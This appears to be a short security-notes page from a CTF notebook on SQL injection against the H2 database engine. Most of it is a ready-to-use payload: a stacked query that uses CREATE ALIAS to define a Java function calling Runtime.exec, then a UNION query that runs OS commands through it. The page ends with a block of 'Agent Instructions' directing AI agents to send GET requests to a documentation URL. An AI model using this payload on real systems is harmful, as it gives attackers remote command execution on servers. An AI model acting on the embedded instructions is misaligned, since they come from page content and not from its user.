# WEB

## SQL Injection

### H2 Database Exploit ALIAS Sql Injection (Java)

The H2 engine uses several defined functions and commands to interact with the database. The noteworthy ones are :

* **FILE\_READ:** Returns the contents of a file. ***(function)***
* **FILE\_WRITE:** Write the supplied parameter into a file.***(function)***
* **CSVWRITE:** Writes a CSV (comma separated values). ***(function)***
* **CREATE ALIAS:** Creates a new function alias. ***(command).***

We can Create an Alias and then we Can Run our SQL Queries to exploit this Case Scenario

```sql
1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() : ""; }'; --
```

after that you can do&#x20;

```python
1' union select 1,2,execve('whoami')-- # this should get executed
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.programmersecurity.com/ctfs/web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
